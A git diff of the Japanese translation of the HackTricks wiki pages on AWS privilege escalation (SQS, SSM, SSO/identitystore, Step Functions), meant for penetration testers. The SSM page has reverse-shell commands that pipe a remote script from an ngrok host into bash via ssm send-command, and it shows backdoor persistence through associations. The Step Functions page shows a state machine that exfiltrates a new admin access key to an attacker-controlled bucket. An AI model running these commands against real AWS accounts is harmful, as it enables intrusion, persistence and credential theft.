diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
new file mode 100644
index 000000000..dee6bdcba
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
@@ -0,0 +1,40 @@
+# AWS - SQS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+詳細については次を参照してください：
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:AddPermission`
+
+攻撃者はこの権限を使って、新しいポリシーを作成したり既存のポリシーを変更したりして、未許可のユーザーやサービスにSQSキューへのアクセスを付与する可能性があります。これにより、キュー内のメッセージへの不正アクセスや、未許可の主体によるキューの操作が発生する恐れがあります。
+```bash
+aws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
+```
+**潜在的な影響**: 不正なユーザーやサービスによるSQSキューへのアクセス、メッセージの露出、またはキューの操作。
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+攻撃者は悪意のある、または不要なメッセージをSQSキューに送信し、データ破損や意図しない処理の発生、リソースの枯渇を招く可能性があります。
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**潜在的影響**: 脆弱性の悪用、データ破損、意図しない操作、またはリソース枯渇。
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+攻撃者は SQS キュー内のメッセージを受信、削除、または可視性を変更でき、その結果メッセージの喪失、データ破損、あるいはそれらのメッセージに依存するアプリケーションのサービス障害を引き起こす可能性があります。
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**潜在的な影響**: 機密情報の窃取、メッセージの損失、データの破損、および影響を受けたメッセージに依存するアプリケーションのサービスの中断。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
deleted file mode 100644
index 77825fa6a..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# AWS - SSM Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-SSMに関する詳細情報は、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### `ssm:SendCommand`
-
-**`ssm:SendCommand`** の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**コマンドを実行**し、**その中で実行されているIAMロールを危険にさらす**ことができます。
-```bash
-# Check for configured instances
-aws ssm describe-instance-information
-aws ssm describe-sessions --state Active
-
-# Send rev shell command
-aws ssm send-command --instance-ids "$INSTANCE_ID" \
---document-name "AWS-RunShellScript" --output text \
---parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
-```
-この技術を使用して、すでに侵害されたEC2インスタンス内で特権を昇格させる場合は、次のコマンドでローカルにリバースシェルをキャプチャできます:
-```bash
-# If you are in the machine you can capture the reverseshel inside of it
-nc -lvnp 4444 #Inside the EC2 instance
-aws ssm send-command --instance-ids "$INSTANCE_ID" \
---document-name "AWS-RunShellScript" --output text \
---parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
-```
-**潜在的な影響:** SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。
-
-### `ssm:StartSession`
-
-**`ssm:StartSession`** の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**SSHのようなセッションを開始**し、その中で実行されている**IAMロールを侵害**することができます。
-```bash
-# Check for configured instances
-aws ssm describe-instance-information
-aws ssm describe-sessions --state Active
-
-# Send rev shell command
-aws ssm start-session --target "$INSTANCE_ID"
-```
-> [!CAUTION]
-> セッションを開始するには、**SessionManagerPlugin**がインストールされている必要があります: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
-
-**潜在的な影響:** SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。
-
-#### ECSへの権限昇格
-
-**ECSタスク**が**`ExecuteCommand`を有効にして実行される**と、十分な権限を持つユーザーは`ecs execute-command`を使用して**コンテナ内でコマンドを実行**できます。\
-[**ドキュメント**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/)によると、これは“_exec_”コマンドを開始するために使用するデバイスと、SSMセッションマネージャーを使用したターゲットコンテナとの間に安全なチャネルを作成することによって行われます。（これが機能するためにはSSMセッションマネージャープラグインが必要です）\
-したがって、`ssm:StartSession`を持つユーザーは、そのオプションを有効にしてECSタスク内で**シェルを取得**できるようになります。
-```bash
-aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
-```
-![](<../../../images/image (185).png>)
-
-**潜在的な影響:** `ExecuteCommand`が有効な実行中のタスクに添付された`ECS` IAMロールへの直接的な権限昇格。
-
-### `ssm:ResumeSession`
-
-**`ssm:ResumeSession`**の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**切断された**SSMセッション状態のSSHのようなセッションを再**開始**し、その中で実行されているIAMロールを**侵害**することができます。
-```bash
-# Check for configured instances
-aws ssm describe-sessions
-
-# Get resume data (you will probably need to do something else with this info to connect)
-aws ssm resume-session \
---session-id Mary-Major-07a16060613c408b5
-```
-**潜在的な影響:** SSMエージェントが実行されている実行中のインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格と切断されたセッション。
-
-### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
-
-言及された権限を持つ攻撃者は、**SSMパラメータ**をリストし、**平文で読む**ことができるようになります。これらのパラメータには、SSHキーやAPIキーなどの**機密情報**が頻繁に**見つかる**ことがあります。
-```bash
-aws ssm describe-parameters
-# Suppose that you found a parameter called "id_rsa"
-aws ssm get-parameters --names id_rsa --with-decryption
-aws ssm get-parameter --name id_rsa --with-decryption
-```
-**潜在的な影響:** パラメータ内の機密情報を見つける。
-
-### `ssm:ListCommands`
-
-この権限を持つ攻撃者は、送信されたすべての**コマンド**をリストし、そこに**機密情報**が含まれていることを期待できます。
-```
-aws ssm list-commands
-```
-**潜在的な影響:** コマンドライン内の機密情報を見つける。
-
-### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
-
-これらの権限を持つ攻撃者は、送信されたすべての**コマンド**をリストし、生成された**出力**を読み取ることができ、そこに**機密情報**が見つかることを期待します。
-```bash
-# You can use any of both options to get the command-id and instance id
-aws ssm list-commands
-aws ssm list-command-invocations
-
-aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
-```
-**潜在的な影響:** コマンドラインの出力内に機密情報を見つける。
-
-### ssm:CreateAssociationの使用
-
-**`ssm:CreateAssociation`** の権限を持つ攻撃者は、SSMによって管理されているEC2インスタンスでコマンドを自動的に実行するためのState Manager Associationを作成できます。これらのアソシエーションは固定の間隔で実行されるように構成でき、インタラクティブなセッションなしでバックドアのような持続性に適しています。
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> この永続性の方法は、EC2インスタンスがSystems Managerによって管理され、SSMエージェントが実行中であり、攻撃者が関連付けを作成する権限を持っている限り機能します。インタラクティブセッションや明示的なssm:SendCommand権限は必要ありません。**重要:** `--schedule-expression`パラメータ（例: `rate(30 minutes)`）は、AWSの最小間隔である30分を尊重する必要があります。即時または一度限りの実行の場合は、`--schedule-expression`を完全に省略してください — 関連付けは作成後に一度実行されます。
-
-### Codebuild
-
-SSMを使用して、ビルド中のcodebuildプロジェクトにアクセスすることもできます:
-
-{{#ref}}
-aws-codebuild-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
new file mode 100644
index 000000000..6f361efce
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
@@ -0,0 +1,130 @@
+# AWS - SSM Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+SSMの詳細については次を参照してください：
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### `ssm:SendCommand`
+
+権限 **`ssm:SendCommand`** を持つ attacker は、Amazon SSM Agent を実行しているインスタンス上で **execute commands in instances** が可能で、内部で動作している **IAM Role** を **compromise** することができます。
+```bash
+# Check for configured instances
+aws ssm describe-instance-information
+aws ssm describe-sessions --state Active
+
+# Send rev shell command
+aws ssm send-command --instance-ids "$INSTANCE_ID" \
+--document-name "AWS-RunShellScript" --output text \
+--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
+```
+既に侵害された EC2 インスタンス内でこの手法を使って権限昇格を行っている場合は、次のようにして rev shell をローカルでキャプチャできます：
+```bash
+# If you are in the machine you can capture the reverseshel inside of it
+nc -lvnp 4444 #Inside the EC2 instance
+aws ssm send-command --instance-ids "$INSTANCE_ID" \
+--document-name "AWS-RunShellScript" --output text \
+--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
+```
+**潜在的な影響:** SSM Agents が稼働しているインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。
+
+### `ssm:StartSession`
+
+権限 **`ssm:StartSession`** を持つ攻撃者は、Amazon SSM Agent が稼働するインスタンス上で **SSH のようなセッションを開始** し、その内部で実行されている **IAM Role を侵害** することができます。
+```bash
+# Check for configured instances
+aws ssm describe-instance-information
+aws ssm describe-sessions --state Active
+
+# Send rev shell command
+aws ssm start-session --target "$INSTANCE_ID"
+```
+> [!CAUTION]
+> セッションを開始するには **SessionManagerPlugin** をインストールする必要があります: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
+  
+**Potential Impact:** SSM Agents が稼働している実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。
+
+#### Privesc to ECS
+
+When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\
+According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/)、これは、_exec_ コマンドを発行するデバイスと対象のコンテナの間で SSM Session Manager を使ってセキュアなチャネルを作成することで実現されます。(SSM Session Manager Plugin がこれを動作させるために必要です)\
+したがって、`ssm:StartSession` を持つユーザーは、そのオプションが有効になっている ECS tasks に対して単に次を実行するだけで **get a shell inside ECS tasks** ことができます:
+```bash
+aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
+```
+![](<../../../images/image (185).png>)
+
+**Potential Impact:** `ExecuteCommand` が有効になっている実行中のタスクにアタッチされた `ECS` IAM roles への直接的な privesc。
+
+### `ssm:ResumeSession`
+
+権限 **`ssm:ResumeSession`** を持つ攻撃者は、Amazon SSM Agent を実行しているインスタンスで、SSM セッション状態が **disconnected** になっている場合に、インスタンス上で **SSH のようなセッションを再起動** し、その中で動作している **compromise the IAM Role** を行うことができます。
+```bash
+# Check for configured instances
+aws ssm describe-sessions
+
+# Get resume data (you will probably need to do something else with this info to connect)
+aws ssm resume-session \
+--session-id Mary-Major-07a16060613c408b5
+```
+**潜在的影響:** 実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc（SSM Agents が稼働しており、切断されたセッションがある場合）。
+
+### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
+
+その権限を持つ攻撃者は、**SSM parameters** を一覧表示して **平文で読み取る**ことができます。これらのパラメータからは、SSH keys や API keys のような **機密情報を見つける**ことがよくあります。
+```bash
+aws ssm describe-parameters
+# Suppose that you found a parameter called "id_rsa"
+aws ssm get-parameters --names id_rsa --with-decryption
+aws ssm get-parameter --name id_rsa --with-decryption
+```
+**Potential Impact:** パラメータ内から機密情報を発見できる可能性があります。
+
+### `ssm:ListCommands`
+
+この権限を持つ攻撃者は送信された全ての **commands** を一覧表示でき、それらから **機密情報** を見つける可能性があります。
+```
+aws ssm list-commands
+```
+**Potential Impact:** コマンドライン内の機密情報を見つけられる可能性があります。
+
+### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
+
+これらの権限を持つ攻撃者は、送信されたすべての **commands** を列挙し、生成された **read the output** を読み取ることで、そこから **sensitive information** を見つけることができます。
+```bash
+# You can use any of both options to get the command-id and instance id
+aws ssm list-commands
+aws ssm list-command-invocations
+
+aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
+```
+**Potential Impact:** コマンド出力の中から機密情報を見つけることができる。
+
+### Using ssm:CreateAssociation
+
+権限 **`ssm:CreateAssociation`** を持つ攻撃者は、State Manager Association を作成して、SSM によって管理される EC2 インスタンス上でコマンドを自動実行できます。これらの associations は固定間隔で実行されるよう設定でき、interactive sessions を必要としない backdoor-like persistence に適しています。
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> この永続化手法は、EC2 インスタンスが Systems Manager によって管理され、SSM agent が稼働しており、攻撃者が associations を作成する権限を持っている限り有効です。対話型セッションや明示的な ssm:SendCommand 権限は必要ありません。**重要:** `--schedule-expression` パラメータ（例: `rate(30 minutes)`）は AWS の最小間隔である 30 分を満たす必要があります。即時または一度だけ実行する場合は、`--schedule-expression` を完全に省略してください — association は作成後に一度だけ実行されます。
+
+### Codebuild
+
+ビルド中の codebuild プロジェクトに侵入するために SSM を利用することもできます:
+
+{{#ref}}
+../aws-codebuild-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
similarity index 50%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
index 0672df889..253fc3390 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
@@ -1,33 +1,33 @@
 # AWS - SSO & identitystore Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## AWS Identity Center / AWS SSO
 
-AWS Identity Center / AWS SSOに関する詳細情報は、以下を確認してください：
+For more information about AWS Identity Center / AWS SSO check:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 > [!WARNING]
-> **デフォルト**では、**管理アカウント**の**権限**を持つ**ユーザー**のみが**IAMアイデンティティセンター**にアクセスし、**制御**できることに注意してください。\
-> 他のアカウントのユーザーは、そのアカウントが**委任管理者**である場合にのみ許可されます。\
-> [詳細については、ドキュメントを確認してください。](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
+> デフォルトでは、**Management Account** の権限を持つ **users** のみが **IAM Identity Center** にアクセスして制御できます。\
+> 他のアカウントのユーザーは、そのアカウントが **Delegated Adminstrator.** の場合にのみ許可されます。\
+> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
 
 ### ~~パスワードのリセット~~
 
-このような場合に権限を昇格させる簡単な方法は、ユーザーのパスワードをリセットする権限を持つことです。残念ながら、ユーザーにパスワードをリセットするためのメールを送信することしかできないため、ユーザーのメールにアクセスする必要があります。
+このようなケースで権限を昇格させる簡単な方法の一つは、ユーザーのパスワードをリセットできる権限を持つことです。しかし残念ながら、実際にはユーザーにパスワードリセット用のメールを送信するだけで、ユーザーのメールへのアクセスが必要になります。
 
 ### `identitystore:CreateGroupMembership`
 
-この権限を使用すると、ユーザーをグループに設定でき、そのグループが持つすべての権限を継承します。
+この権限があれば、ユーザーをグループに追加でき、そのグループが持つすべての権限を継承させることができます。
 ```bash
 aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
 ```
 ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
-この権限を持つ攻撃者は、自分の管理下にあるユーザーに付与されたPermission Setに追加の権限を付与することができます。
+この権限を持つ攻撃者は、自分が制御する user に付与されている Permission Set に対して追加の権限を付与できる可能性がある。
 ```bash
 # Set an inline policy with admin privileges
 aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
@@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
-この権限を持つ攻撃者は、自分の管理下にあるユーザーに付与されたPermission Setに追加の権限を付与することができます。
+この権限を持つ攻撃者は、自身が管理するユーザーに付与されている Permission Set に対して追加の権限を付与できる。
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
@@ -60,10 +60,10 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`
 
-この権限を持つ攻撃者は、自分の管理下にあるユーザーに付与されたPermission Setに追加の権限を付与することができます。
+この権限を持つ攻撃者は、自分が制御するユーザーに付与されている Permission Set に対して追加の権限を付与することができます。
 
 > [!WARNING]
-> この場合、これらの権限を悪用するには、**影響を受けるすべてのアカウント内にあるカスタマー管理ポリシーの名前**を知っている必要があります。
+> この権限を悪用するには、このケースでは影響を受ける**ALL the accounts に存在する customer managed policy の名前**を知っている必要があります。
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
@@ -73,40 +73,40 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:CreateAccountAssignment`
 
-この権限を持つ攻撃者は、自分の管理下にあるユーザーに対してアカウントにPermission Setを付与することができます。
+この権限を持つ攻撃者は、自身が制御するユーザーに対してPermission Setをアカウントに付与することができます。
 ```bash
 aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
 ```
 ### `sso:GetRoleCredentials`
 
-指定されたユーザーに割り当てられたロール名のSTS短期資格情報を返します。
+ユーザーに割り当てられた特定のロール名に対する、STS の短期認証情報を返します。
 ```
 aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
 ```
-しかし、取得方法がわからないアクセストークンが必要です（TODO）。
+ただし、取得方法がわからない access token が必要です (TODO)。
 
 ### `sso:DetachManagedPolicyFromPermissionSet`
 
-この権限を持つ攻撃者は、指定された権限セットからAWS管理ポリシーの関連付けを削除できます。**管理ポリシーを切り離すこと（拒否ポリシー）**によって、より多くの権限を付与することが可能です。
+この権限を持つ attacker は、指定された permission set から AWS managed policy との関連付けを削除できます。より多くの権限を付与することが、**detaching a managed policy (deny policy)** を通じて可能です。
 ```bash
 aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
 ```
 ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
 
-この権限を持つ攻撃者は、指定された権限セットからカスタマー管理ポリシーとの関連を削除できます。**管理ポリシー（拒否ポリシー）を切り離すことによって、より多くの権限を付与することが可能です。**
+この権限を持つ攻撃者は、指定された permission set から Customer managed policy の関連付けを削除できます。より多くの権限を付与するには **detaching a managed policy (deny policy)** が可能です。
 ```bash
 aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
 ```
 ### `sso:DeleteInlinePolicyFromPermissionSet`
 
-この権限を持つ攻撃者は、権限セットからインラインポリシーの権限を削除することができます。インラインポリシー（拒否ポリシー）を切り離すことで、**より多くの権限を付与する**ことが可能です。
+この権限を持つ攻撃者は、permission set の inline policy から権限を削除できます。**inline policy (deny policy) をデタッチすることで、より多くの権限を付与できます。**
 ```bash
 aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 ```
 ### `sso:DeletePermissionBoundaryFromPermissionSet`
 
-この権限を持つ攻撃者は、権限セットからPermission Boundaryを削除できます。Permission Boundaryから与えられた権限セットの制限を削除することで、**より多くの権限を付与することが可能です**。
+この権限を持つ攻撃者は、Permission Boundary を Permission Set から削除できます。Permission Boundary によって Permission Set に課された制限を取り除くことで、**より多くの権限を付与できる可能性があります**。
 ```bash
 aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
deleted file mode 100644
index cecedb4d4..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
+++ /dev/null
@@ -1,231 +0,0 @@
-# AWS - Step Functions Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-このAWSサービスに関する詳細情報は、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### タスクリソース
-
-これらの特権昇格技術は、希望する特権昇格アクションを実行するために、いくつかのAWSステップファンクションリソースを使用する必要があります。
-
-すべての可能なアクションを確認するには、自分のAWSアカウントに移動し、使用したいアクションを選択して、そのパラメータを確認できます。例えば：
-
-<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
-
-または、API AWSドキュメントに移動して、各アクションのドキュメントを確認することもできます：
-
-- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
-- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
-
-### `states:TestState` & `iam:PassRole`
-
-**`states:TestState`** および **`iam:PassRole`** 権限を持つ攻撃者は、既存のステートマシンを作成または更新することなく、任意のステートをテストし、任意のIAMロールをそれに渡すことができ、ロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。これらの権限を組み合わせることで、ワークフローの操作からデータの変更、データ漏洩、リソースの操作、特権昇格に至るまで、広範な不正行為が引き起こされる可能性があります。
-```bash
-aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
-```
-以下の例は、これらの権限とAWS環境の許可されたロールを利用して、**`admin`**ユーザーのアクセスキーを作成するステートをテストする方法を示しています。この許可されたロールには、ステートが**`iam:CreateAccessKey`**アクションを実行できるようにする高権限ポリシー（例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`**）が関連付けられている必要があります。
-
-- **stateDefinition.json**:
-```json
-{
-"Type": "Task",
-"Parameters": {
-"UserName": "admin"
-},
-"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
-"End": true
-}
-```
-- **コマンド** 実行して特権昇格を行う:
-```bash
-aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
-
-{
-"output": "{
-\"AccessKey\":{
-\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
-\"CreateDate\":\"2024-07-09T16:59:11Z\",
-\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
-\"Status\":\"Active\",
-\"UserName\":\"admin\"
-}
-}",
-"status": "SUCCEEDED"
-}
-```
-**潜在的影響**: ワークフローの不正実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
-
-### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
-
-**`states:CreateStateMachine`** と **`iam:PassRole`** を持つ攻撃者は、ステートマシンを作成し、任意のIAMロールを提供することができ、ロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。前の特権昇格技術 (**`states:TestState`** & **`iam:PassRole`**) と対照的に、これは自動的には実行されず、ステートマシン上での実行を開始するために **`states:StartExecution`** または **`states:StartSyncExecution`** の権限が必要です (**`states:StartSyncExecution`** は **標準ワークフローには利用できず、** 表現ステートマシンのみに適用されます)。
-```bash
-# Create a state machine
-aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
-[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
-
-# Start a state machine execution
-aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
-
-# Start a Synchronous Express state machine execution
-aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
-```
-以下の例は、**`admin`** ユーザーのアクセスキーを作成し、このアクセスキーを攻撃者が制御する S3 バケットに流出させるステートマシンを作成する方法を示しています。これには、これらの権限と AWS 環境の許可されたロールを利用します。この許可されたロールには、ステートマシンが **`iam:CreateAccessKey`** および **`s3:putObject`** アクションを実行できるようにする高権限ポリシー（例えば **`arn:aws:iam::aws:policy/AdministratorAccess`**）が関連付けられている必要があります。
-
-- **stateMachineDefinition.json**:
-```json
-{
-"Comment": "Malicious state machine to create IAM access key and upload to S3",
-"StartAt": "CreateAccessKey",
-"States": {
-"CreateAccessKey": {
-"Type": "Task",
-"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
-"Parameters": {
-"UserName": "admin"
-},
-"ResultPath": "$.AccessKeyResult",
-"Next": "PrepareS3PutObject"
-},
-"PrepareS3PutObject": {
-"Type": "Pass",
-"Parameters": {
-"Body.$": "$.AccessKeyResult.AccessKey",
-"Bucket": "attacker-controlled-S3-bucket",
-"Key": "AccessKey.json"
-},
-"ResultPath": "$.S3PutObjectParams",
-"Next": "PutObject"
-},
-"PutObject": {
-"Type": "Task",
-"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
-"Parameters": {
-"Body.$": "$.S3PutObjectParams.Body",
-"Bucket.$": "$.S3PutObjectParams.Bucket",
-"Key.$": "$.S3PutObjectParams.Key"
-},
-"End": true
-}
-}
-}
-```
-- **コマンド** 実行して **ステートマシンを作成**:
-```bash
-aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
-{
-"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
-"creationDate": "2024-07-09T20:29:35.381000+02:00"
-}
-```
-- **コマンド**は、以前に作成したステートマシンの**実行を開始**するために実行されました：
-```json
-aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
-{
-"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
-"startDate": "2024-07-09T20:33:35.466000+02:00"
-}
-```
-> [!WARNING]
-> 攻撃者が制御するS3バケットは、被害者アカウントからのs3:PutObjectアクションを受け入れる権限を持っている必要があります。
-
-**潜在的な影響**: ワークフローの不正実行と操作、機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
-
-### `states:UpdateStateMachine` & (必ずしも必要ではない) `iam:PassRole`
-
-**`states:UpdateStateMachine`** 権限を持つ攻撃者は、ステートマシンの定義を変更でき、特権昇格につながる追加のステルス状態を追加することができます。このようにして、正当なユーザーがステートマシンの実行を開始すると、この新しい悪意のあるステルス状態が実行され、特権昇格が成功します。
-
-ステートマシンに関連付けられたIAMロールがどれだけ許可的であるかによって、攻撃者は2つの状況に直面します。
-
-1. **許可的なIAMロール**: ステートマシンに関連付けられたIAMロールがすでに許可的である場合（例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーが添付されている場合）、特権を昇格させるために**`iam:PassRole`** 権限は必要ありません。ステートマシンの定義を更新する必要がないため、ステートマシンの定義だけで十分です。
